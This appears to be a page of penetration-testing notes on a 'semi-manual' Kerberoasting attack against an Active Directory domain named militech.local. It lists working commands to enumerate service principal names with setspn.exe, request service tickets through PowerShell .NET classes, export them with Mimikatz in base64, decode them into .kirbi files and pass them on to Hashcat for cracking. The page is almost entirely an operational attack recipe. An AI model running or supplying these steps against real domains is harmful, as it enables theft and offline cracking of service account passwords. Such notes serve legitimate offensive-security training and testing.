Semi-Manual Way

Usually we would be doing kerberoasting with tools, but sometimes we don't have access to them, so this is more minimalistic approach.

Enumerating SPNs with setspn.exe

C:\> setspn.exe -Q */*

Targeting a single user

PS C:\> Add-Type -AssemblyName System.IdentityModel

PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/NC.militech.local:1433"

Retrieve all tickets with setspn.exe

PS C:\> setspn.exe -T MILITECH.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

With this two commands we are:

1. Load necessary .NET classes (Add-Type).

2. Create an object for Kerberos authentication (New-Object).

3. The object requests a TGS ticket for the given service.

4. The ticket is stored in memory under that object.

Extract Tickets with Mimikatz

mimikatz # base64 /out:true

mimikatz # kerberos::list /export  

// If we do not use base64 out true command, mimikatz will put tickets in .kirbi file.

Base64 Blob Processing

echo "<base64 blob>" | tr -d \\n | base64 -d > sqldev.kirbi

Then go to Hashcat section in main Kerberoasting section and crack it.